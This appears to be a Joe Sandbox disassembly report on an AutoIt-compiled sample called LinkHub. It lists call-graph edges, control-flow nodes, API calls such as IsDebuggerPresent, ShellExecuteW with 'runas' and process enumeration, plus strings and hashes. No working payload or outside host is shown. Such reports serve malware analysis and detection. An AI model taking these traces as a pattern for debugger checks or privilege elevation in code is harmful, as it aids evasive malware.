99829->99813 99830->99803 99831->99818 99832->99814 99833->99811 99834->99822 99835->99823 99836->99818 99837->99804 99838->99811 99839->99818 99840 ddf4c0 99843 dea025 99840->99843 99842 ddf4cc 99844 dea046 99843->99844 99849 dea0a3 99843->99849 99846 de0340 191 API calls 99844->99846 99844->99849 99850 dea077 99846->99850 99847 e2806b 99847->99847 99848 dea0e7 99848->99842 99849->99848 99852 e43fe1 82 API calls __wsopen_s 99849->99852 99850->99848 99850->99849 99851 ddbed9 22 API calls 99850->99851 99851->99849 99852->99847 99853 def9a3 99854 def9ad 99853->99854 99856 def9ce 99853->99856 99855 ddc3ab 22 API calls 99854->99855 99857 def9bd 99855->99857 99861 e2fb3c 99856->99861 99862 e356ae 22 API calls messages 99856->99862 99859 ddc3ab 22 API calls 99857->99859 99860 def9cd 99859->99860 99862->99856 99863 df08a0 99872 df0d02 GetModuleHandleW 99863->99872 99865 df08a8 99866 df08de 99865->99866 99867 df08ac 99865->99867 99874 df5174 28 API calls _abort 99866->99874 99869 df08b7 99867->99869 99873 df5156 28 API calls _abort 99867->99873 99870 df08e6 99872->99865 99873->99869 99874->99870

                                                                            Executed Functions

                                                                            Function 00DD5FC8 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 236libraryloaderCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 224 dd5fc8-dd6037 call ddbf73 GetVersionExW call dd8577 229 dd603d 224->229 230 e1507d-e15090 224->230 231 dd603f-dd6041 229->231 232 e15091-e15095 230->232 233 dd6047-dd60a6 call ddadf4 call dd55dc 231->233 234 e150bc 231->234 235 e15097 232->235 236 e15098-e150a4 232->236 249 dd60ac-dd60ae 233->249 250 e15224-e1522b 233->250 240 e150c3-e150cf 234->240 235->236 236->232 237 e150a6-e150a8 236->237 237->231 239 e150ae-e150b5 237->239 239->230 242 e150b7 239->242 243 dd611c-dd6136 GetCurrentProcess IsWow64Process 240->243 242->234 245 dd6138 243->245 246 dd6195-dd619b 243->246 248 dd613e-dd614a 245->248 246->248 251 e15269-e1526d GetSystemInfo 248->251 252 dd6150-dd615f LoadLibraryA 248->252 253 e15125-e15138 249->253 254 dd60b4-dd60b7 249->254 255 e1524b-e1524e 250->255 256 e1522d 250->256 259 dd619d-dd61a7 GetSystemInfo 252->259 260 dd6161-dd616f GetProcAddress 252->260 261 e15161-e15163 253->261 262 e1513a-e15143 253->262 254->243 263 dd60b9-dd60f5 254->263 257 e15250-e1525f 255->257 258 e15239-e15241 255->258 264 e15233 256->264 257->264 267 e15261-e15267 257->267 258->255 269 dd6177-dd6179 259->269 260->259 268 dd6171-dd6175 GetNativeSystemInfo 260->268 265 e15165-e1517a 261->265 266 e15198-e1519b 261->266 270 e15150-e1515c 262->270 271 e15145-e1514b 262->271 263->243 272 dd60f7-dd60fa 263->272 264->258 273 e15187-e15193 265->273 274 e1517c-e15182 265->274 275 e151d6-e151d9 266->275 276 e1519d-e151b8 266->276 267->258 268->269 277 dd617b-dd617c FreeLibrary 269->277 278 dd6182-dd6194 269->278 270->243 271->243 279 e150d4-e150e4 272->279 280 dd6100-dd610a 272->280 273->243 274->243 275->243 286 e151df-e15206 275->286 282 e151c5-e151d1 276->282 283 e151ba-e151c0 276->283 277->278 284 e150f7-e15101 279->284 285 e150e6-e150f2 279->285 280->240 281 dd6110-dd6116 280->281 281->243 282->243 283->243 287 e15103-e1510f 284->287 288 e15114-e15120 284->288 285->243 289 e15213-e1521f 286->289 290 e15208-e1520e 286->290 287->243 288->243 289->243 290->243
                                                                            APIs
                                                                            • GetVersionExW.KERNEL32(?), ref: 00DD5FF7
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            • GetCurrentProcess.KERNEL32(?,00E6DC2C,00000000,?,?), ref: 00DD6123
                                                                            • IsWow64Process.KERNEL32(00000000,?,?), ref: 00DD612A
                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00DD6155
                                                                            • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00DD6167
                                                                            • GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00DD6175
                                                                            • FreeLibrary.KERNEL32(00000000,?,?), ref: 00DD617C
                                                                            • GetSystemInfo.KERNEL32(?,?,?), ref: 00DD61A1
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
                                                                            • String ID: GetNativeSystemInfo$kernel32.dll$|O
                                                                            • API String ID: 3290436268-3101561225
                                                                            • Opcode ID: e072bd42013fd73d6adad205214fd3fc67bf74cfd98617dd46cff4d8eefde282
                                                                            • Instruction ID: d282eef59b1641e1f142b70bc4faa9d00d9194241bc4dc947211a08c2f9baa86
                                                                            • Opcode Fuzzy Hash: e072bd42013fd73d6adad205214fd3fc67bf74cfd98617dd46cff4d8eefde282
                                                                            • Instruction Fuzzy Hash: F1A1623290A7C6DFCF12CB6EBC411957F646B6F304B0858AED681B7222D26DA54CCB71
                                                                            Function 00DD338B Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148windowCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00DD3368,?), ref: 00DD33BB
                                                                            • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00DD3368,?), ref: 00DD33CE
                                                                            • GetFullPathNameW.KERNEL32(00007FFF,?,?,00EA2418,00EA2400,?,?,?,?,?,?,00DD3368,?), ref: 00DD343A
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                              • Part of subcall function 00DD425F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00DD3462,00EA2418,?,?,?,?,?,?,?,00DD3368,?), ref: 00DD42A0
                                                                            • SetCurrentDirectoryW.KERNEL32(?,00000001,00EA2418,?,?,?,?,?,?,?,00DD3368,?), ref: 00DD34BB
                                                                            • MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00E13CB0
                                                                            • SetCurrentDirectoryW.KERNEL32(?,00EA2418,?,?,?,?,?,?,?,00DD3368,?), ref: 00E13CF1
                                                                            • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00E931F4,00EA2418,?,?,?,?,?,?,?,00DD3368), ref: 00E13D7A
                                                                            • ShellExecuteW.SHELL32(00000000,?,?), ref: 00E13D81
                                                                              • Part of subcall function 00DD34D3: GetSysColorBrush.USER32(0000000F), ref: 00DD34DE
                                                                              • Part of subcall function 00DD34D3: LoadCursorW.USER32(00000000,00007F00), ref: 00DD34ED
                                                                              • Part of subcall function 00DD34D3: LoadIconW.USER32(00000063), ref: 00DD3503
                                                                              • Part of subcall function 00DD34D3: LoadIconW.USER32(000000A4), ref: 00DD3515
                                                                              • Part of subcall function 00DD34D3: LoadIconW.USER32(000000A2), ref: 00DD3527
                                                                              • Part of subcall function 00DD34D3: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00DD353F
                                                                              • Part of subcall function 00DD34D3: RegisterClassExW.USER32(?), ref: 00DD3590
                                                                              • Part of subcall function 00DD35B3: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00DD35E1
                                                                              • Part of subcall function 00DD35B3: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00DD3602
                                                                              • Part of subcall function 00DD35B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00DD3368,?), ref: 00DD3616
                                                                              • Part of subcall function 00DD35B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00DD3368,?), ref: 00DD361F
                                                                              • Part of subcall function 00DD396B: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00DD3A3C
                                                                            Strings
                                                                            • AutoIt, xrefs: 00E13CA5
                                                                            • runas, xrefs: 00E13D75
                                                                            • 0$, xrefs: 00DD3495
                                                                            • It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00E13CAA
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
                                                                            • String ID: 0$$AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
                                                                            • API String ID: 683915450-3328958999
                                                                            • Opcode ID: bc4744bcf944402677685a517f20f46edb24810c0aa428c28edfa0d6c6fd13f5
                                                                            • Instruction ID: e489a6bf50730c5af1d2c0f76bcc0b28fd30e55e78d3c7cfca9d05bb6bb8aba6
                                                                            • Opcode Fuzzy Hash: bc4744bcf944402677685a517f20f46edb24810c0aa428c28edfa0d6c6fd13f5
                                                                            • Instruction Fuzzy Hash: EC51087020C341AECB01EF75AC01D6E7FA4DF9A744F40142EF59176262DB649A4DD772
                                                                            Function 00E3DD87 Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 00E3DDAC
                                                                            • Process32FirstW.KERNEL32(00000000,?), ref: 00E3DDBA
                                                                            • Process32NextW.KERNEL32(00000000,?), ref: 00E3DDDA
                                                                            • CloseHandle.KERNELBASE(00000000), ref: 00E3DE87
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                                            • String ID:
                                                                            • API String ID: 420147892-0
                                                                            • Opcode ID: 26fd58b8de036a09dc4fcd200e98a2f5ad5cd8cce5c05aa3185ca678be0d556f
                                                                            • Instruction ID: 844c76c8b0ba01dff100d57f2729dad30a132780e061d3d680384e9fbec5a03c
                                                                            • Opcode Fuzzy Hash: 26fd58b8de036a09dc4fcd200e98a2f5ad5cd8cce5c05aa3185ca678be0d556f
                                                                            • Instruction Fuzzy Hash: CA319E315082009FC300EF61DC85AABBFE8EF99354F54092EF581962A1EB719949CBA2
                                                                            Function 00DF5058 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentProcess.KERNEL32(00000003,?,00DF502E,00000003,00E998D8,0000000C,00DF5185,00000003,00000002,00000000,?,00E02C59,00000003), ref: 00DF5079
                                                                            • TerminateProcess.KERNEL32(00000000,?,00DF502E,00000003,00E998D8,0000000C,00DF5185,00000003,00000002,00000000,?,00E02C59,00000003), ref: 00DF5080
                                                                            • ExitProcess.KERNEL32 ref: 00DF5092
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$CurrentExitTerminate
                                                                            • String ID:
                                                                            • API String ID: 1703294689-0
                                                                            • Opcode ID: 3514fdb611b5589d17c037347ffacc4e912c9e1ace8fe2679f5c9bb1d1617b1e
                                                                            • Instruction ID: fd2d6838df547e7fd2a77a99a05707f53faa07e51293064610c02e5e742277a5
                                                                            • Opcode Fuzzy Hash: 3514fdb611b5589d17c037347ffacc4e912c9e1ace8fe2679f5c9bb1d1617b1e
                                                                            • Instruction Fuzzy Hash: 66E04631500508AFCF216F61ED08E693B69EB50382F468014FA09AA222DFB5DD42CAE0
                                                                            Function 00DEAC3E Relevance: 33.9, APIs: 1, Strings: 18, Instructions: 671COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 0 deac3e-deb063 call dd8ec0 call debc58 call dde6a0 7 e28584-e28591 0->7 8 deb069-deb073 0->8 9 e28593 7->9 10 e28596-e285a5 7->10 11 deb079-deb07e 8->11 12 e2896b-e28979 8->12 9->10 13 e285a7 10->13 14 e285aa 10->14 17 e285b2-e285b4 11->17 18 deb084-deb090 call deb5b6 11->18 15 e2897b 12->15 16 e2897e 12->16 13->14 14->17 15->16 19 e28985-e2898e 16->19 23 e285bd 17->23 18->23 25 deb096-deb0a3 call ddc98d 18->25 21 e28993 19->21 22 e28990 19->22 28 e2899c-e289eb call dde6a0 call debbbe * 2 21->28 22->21 27 e285c7 23->27 31 deb0ab-deb0b4 25->31 32 e285cf-e285d2 27->32 61 e289f1-e28a03 call deb5b6 28->61 62 deb1e0-deb1f5 28->62 34 deb0b8-deb0d6 call df4d98 31->34 35 deb158-deb16f 32->35 36 e285d8-e28600 call df4cd3 call dd7ad5 32->36 55 deb0d8-deb0e1 34->55 56 deb0e5 34->56 38 e28954-e28957 35->38 39 deb175 35->39 70 e28602-e28606 36->70 71 e2862d-e28651 call dd7b1a call ddbd98 36->71 44 e28a41-e28a79 call dde6a0 call debbbe 38->44 45 e2895d-e28960 38->45 46 deb17b-deb17e 39->46 47 e288ff-e28920 call dde6a0 39->47 44->62 105 e28a7f-e28a91 call deb5b6 44->105 45->28 52 e28962-e28965 45->52 53 deb184-deb187 46->53 54 e28729-e28743 call debbbe 46->54 47->62 75 e28926-e28938 call deb5b6 47->75 52->12 52->62 63 deb18d-deb190 53->63 64 e286ca-e286e0 call dd6c03 53->64 82 e28749-e2874c 54->82 83 e2888f-e288b5 call dde6a0 54->83 55->34 65 deb0e3 55->65 56->27 67 deb0eb-deb0fc 56->67 96 e28a05-e28a0d 61->96 97 e28a2f-e28a3c call ddc98d 61->97 77 deb1fb-deb20b call dde6a0 62->77 78 e28ac9-e28acf 62->78 73 e28656-e28659 63->73 74 deb196-deb1b8 call dde6a0 63->74 64->62 94 e286e6-e286fc call deb5b6 64->94 65->67 67->12 76 deb102-deb11c 67->76 70->71 86 e28608-e2862b call ddad40 70->86 71->73 73->12 92 e2865f-e28674 call dd6c03 73->92 74->62 113 deb1ba-deb1cc call deb5b6 74->113 116 e28945 75->116 117 e2893a-e28943 call ddc98d 75->117 76->32 91 deb122-deb154 call debbbe call dde6a0 76->91 78->31 84 e28ad5 78->84 103 e2874e-e28751 82->103 104 e287bf-e287de call dde6a0 82->104 83->62 138 e288bb-e288cd call deb5b6 83->138 84->12 86->70 86->71 91->35 92->62 135 e2867a-e28690 call deb5b6 92->135 141 e286fe-e2870b call dd8ec0 94->141 142 e2870d-e28716 call dd8ec0 94->142 111 e28a1e-e28a29 call ddb4b1 96->111 112 e28a0f-e28a13 96->112 148 e28ac2-e28ac4 97->148 119 e28757-e28774 call dde6a0 103->119 120 e28ada-e28ae8 103->120 104->62 140 e287e4-e287f6 call deb5b6 104->140 152 e28a93-e28a9b 105->152 153 e28ab5-e28abe call ddc98d 105->153 111->97 159 e28b0b-e28b19 111->159 112->111 128 e28a15-e28a19 112->128 160 e286ba-e286c3 call ddc98d 113->160 161 deb1d2-deb1de 113->161 134 e28949-e2894f 116->134 117->134 119->62 163 e2877a-e2878c call deb5b6 119->163 126 e28aea 120->126 127 e28aed-e28afd 120->127 126->127 143 e28b02-e28b06 127->143 144 e28aff 127->144 145 e28aa1-e28aa3 128->145 134->62 173 e28692-e2869b call ddc98d 135->173 174 e2869d-e286ab call dd8ec0 135->174 178 e288de 138->178 179 e288cf-e288dc call ddc98d 138->179 140->62 181 e287fc-e28805 call deb5b6 140->181 182 e28719-e28724 call dd8577 141->182 142->182 143->77 144->143 145->62 148->62 164 e28aa8-e28ab3 call ddb4b1 152->164 165 e28a9d 152->165 153->148 170 e28b1b 159->170 171 e28b1e-e28b21 159->171 160->64 161->62 196 e2878e-e2879d call ddc98d 163->196 197 e2879f 163->197 164->153 164->159 165->145 170->171 171->19 203 e286ae-e286b5 173->203 174->203 189 e288e2-e288e9 178->189 179->189 208 e28807-e28816 call ddc98d 181->208 209 e28818 181->209 182->62 190 e288f5 call dd3907 189->190 191 e288eb-e288f0 call dd396b 189->191 207 e288fa 190->207 191->62 205 e287a3-e287ae call df9334 196->205 197->205 203->62 205->12 218 e287b4-e287ba 205->218 207->62 213 e2881c-e2883f 208->213 209->213 216 e28841-e28848 213->216 217 e2884d-e28850 213->217 216->217 219 e28852-e2885b 217->219 220 e28860-e28863 217->220 218->62 219->220 221 e28873-e28876 220->221 222 e28865-e2886e 220->222 221->62 223 e2887c-e2888a 221->223 222->221 223->62
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4$@$P$`*$`$d0b$d10m0$d1b$d1r0,2$d5m0$e#$i$t$t$($($($(
                                                                            • API String ID: 0-2951036942
                                                                            • Opcode ID: a2dba615d4eb4f504d67da75dbb82cf44cfd8e3b937965e04e90d0ae2b7cf821
                                                                            • Instruction ID: 0ae9e5419c2c01a751e60e67bf8158f6850e836d465c89351b8546ada25c2650
                                                                            • Opcode Fuzzy Hash: a2dba615d4eb4f504d67da75dbb82cf44cfd8e3b937965e04e90d0ae2b7cf821
                                                                            • Instruction Fuzzy Hash: 4B628A706093818FC328DF15D585A9ABBE0FFC9358F00991EE489AB351DB71E945CFA2
                                                                            Function 00DD370F Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 145windowtimeregistryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 355 dd370f-dd3724 356 dd3784-dd3786 355->356 357 dd3726-dd3729 355->357 356->357 360 dd3788 356->360 358 dd372b-dd3732 357->358 359 dd378a 357->359 361 dd3738-dd373d 358->361 362 dd3804-dd380c PostQuitMessage 358->362 364 e13df4-e13e1c call dd2f92 call def23c 359->364 365 dd3790-dd3795 359->365 363 dd376f-dd3777 DefWindowProcW 360->363 368 e13e61-e13e75 call e3c8f7 361->368 369 dd3743-dd3747 361->369 372 dd37b8-dd37ba 362->372 371 dd377d-dd3783 363->371 401 e13e21-e13e28 364->401 366 dd37bc-dd37e3 SetTimer RegisterWindowMessageW 365->366 367 dd3797-dd379a 365->367 366->372 375 dd37e5-dd37f0 CreatePopupMenu 366->375 373 e13d95-e13d98 367->373 374 dd37a0-dd37b3 KillTimer call dd3907 call dd59ff 367->374 368->372 394 e13e7b 368->394 376 dd374d-dd3752 369->376 377 dd380e-dd381d call defcad 369->377 372->371 380 e13dd0-e13def MoveWindow 373->380 381 e13d9a-e13d9e 373->381 374->372 375->372 383 dd3758-dd375d 376->383 384 e13e46-e13e4d 376->384 377->372 380->372 388 e13da0-e13da3 381->388 389 e13dbf-e13dcb SetFocus 381->389 392 dd3763-dd3769 383->392 393 dd37f2-dd3802 call dd381f 383->393 384->363 391 e13e53-e13e5c call e31423 384->391 388->392 397 e13da9-e13dba call dd2f92 388->397 389->372 391->363 392->363 392->401 393->372 394->363 397->372 401->363 405 e13e2e-e13e41 call dd3907 call dd396b 401->405 405->363
                                                                            APIs
                                                                            • DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00DD3709,?,?), ref: 00DD3777
                                                                            • KillTimer.USER32(?,00000001,?,?,?,?,?,00DD3709,?,?), ref: 00DD37A3
                                                                            • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00DD37C6
                                                                            • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00DD3709,?,?), ref: 00DD37D1
                                                                            • CreatePopupMenu.USER32 ref: 00DD37E5
                                                                            • PostQuitMessage.USER32(00000000), ref: 00DD3806
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                            • String ID: 0$$0$$TaskbarCreated
                                                                            • API String ID: 129472671-3836791346
                                                                            • Opcode ID: fa9751f8cbc7ec0384c24f60cc519ee6af0f113528969ed7713667e3ac7d17e1
                                                                            • Instruction ID: aaff3f6da4bf4f1f757c2f699182cf4c0bc30640a9f65ffa0d5669f02d2a5dcc
                                                                            • Opcode Fuzzy Hash: fa9751f8cbc7ec0384c24f60cc519ee6af0f113528969ed7713667e3ac7d17e1
                                                                            • Instruction Fuzzy Hash: BB41F5F1604645BFDB142B3D9C4DBBA3A65EB4A300F08412BF641B9390CAA4FF489673
                                                                            Function 00DD3624 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            APIs
                                                                            • GetSysColorBrush.USER32(0000000F), ref: 00DD3657
                                                                            • RegisterClassExW.USER32(00000030), ref: 00DD3681
                                                                            • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00DD3692
                                                                            • InitCommonControlsEx.COMCTL32(?), ref: 00DD36AF
                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00DD36BF
                                                                            • LoadIconW.USER32(000000A9), ref: 00DD36D5
                                                                            • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00DD36E4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                            • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                            • API String ID: 2914291525-1005189915
                                                                            • Opcode ID: eba21f07803418909cb5e65a6a8213f347d61190d69810459ca1b29699c89f77
                                                                            • Instruction ID: 1a07257d683d7d85b6b801db456c0ffa93bdf6397ce6a50d1bafbaaeff77ed25
                                                                            • Opcode Fuzzy Hash: eba21f07803418909cb5e65a6a8213f347d61190d69810459ca1b29699c89f77
                                                                            • Instruction Fuzzy Hash: F621E5B5E05308AFDB00DFAAEC89A9EBBB4FB0D750F00411AF611B62A0D7F555488F91
                                                                            Function 00E109DB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 412 e109db-e10a0b call e107af 415 e10a26-e10a32 call e05594 412->415 416 e10a0d-e10a18 call dff636 412->416 422 e10a34-e10a49 call dff636 call dff649 415->422 423 e10a4b-e10a94 call e1071a 415->423 421 e10a1a-e10a21 call dff649 416->421 430 e10cfd-e10d03 421->430 422->421 432 e10b01-e10b0a GetFileType 423->432 433 e10a96-e10a9f 423->433 434 e10b53-e10b56 432->434 435 e10b0c-e10b3d GetLastError call dff613 CloseHandle 432->435 437 e10aa1-e10aa5 433->437 438 e10ad6-e10afc GetLastError call dff613 433->438 442 e10b58-e10b5d 434->442 443 e10b5f-e10b65 434->443 435->421 451 e10b43-e10b4e call dff649 435->451 437->438 439 e10aa7-e10ad4 call e1071a 437->439 438->421 439->432 439->438 445 e10b69-e10bb7 call e054dd 442->445 444 e10b67 443->444 443->445 444->445 454 e10bc7-e10beb call e104cd 445->454 455 e10bb9-e10bc5 call e1092b 445->455 451->421 462 e10bed 454->462 463 e10bfe-e10c41 454->463 455->454 461 e10bef-e10bf9 call e08a2e 455->461 461->430 462->461 465 e10c43-e10c47 463->465 466 e10c62-e10c70 463->466 465->466 467 e10c49-e10c5d 465->467 468 e10c76-e10c7a 466->468 469 e10cfb 466->469 467->466 468->469 471 e10c7c-e10caf CloseHandle call e1071a 468->471 469->430 474 e10cb1-e10cdd GetLastError call dff613 call e056a6 471->474 475 e10ce3-e10cf7 471->475 474->475 475->469
                                                                            APIs
                                                                              • Part of subcall function 00E1071A: CreateFileW.KERNELBASE(00000000,00000000,?,00E10A84,?,?,00000000,?,00E10A84,00000000,0000000C), ref: 00E10737
                                                                            • GetLastError.KERNEL32 ref: 00E10AEF
                                                                            • __dosmaperr.LIBCMT ref: 00E10AF6
                                                                            • GetFileType.KERNELBASE(00000000), ref: 00E10B02
                                                                            • GetLastError.KERNEL32 ref: 00E10B0C
                                                                            • __dosmaperr.LIBCMT ref: 00E10B15
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E10B35
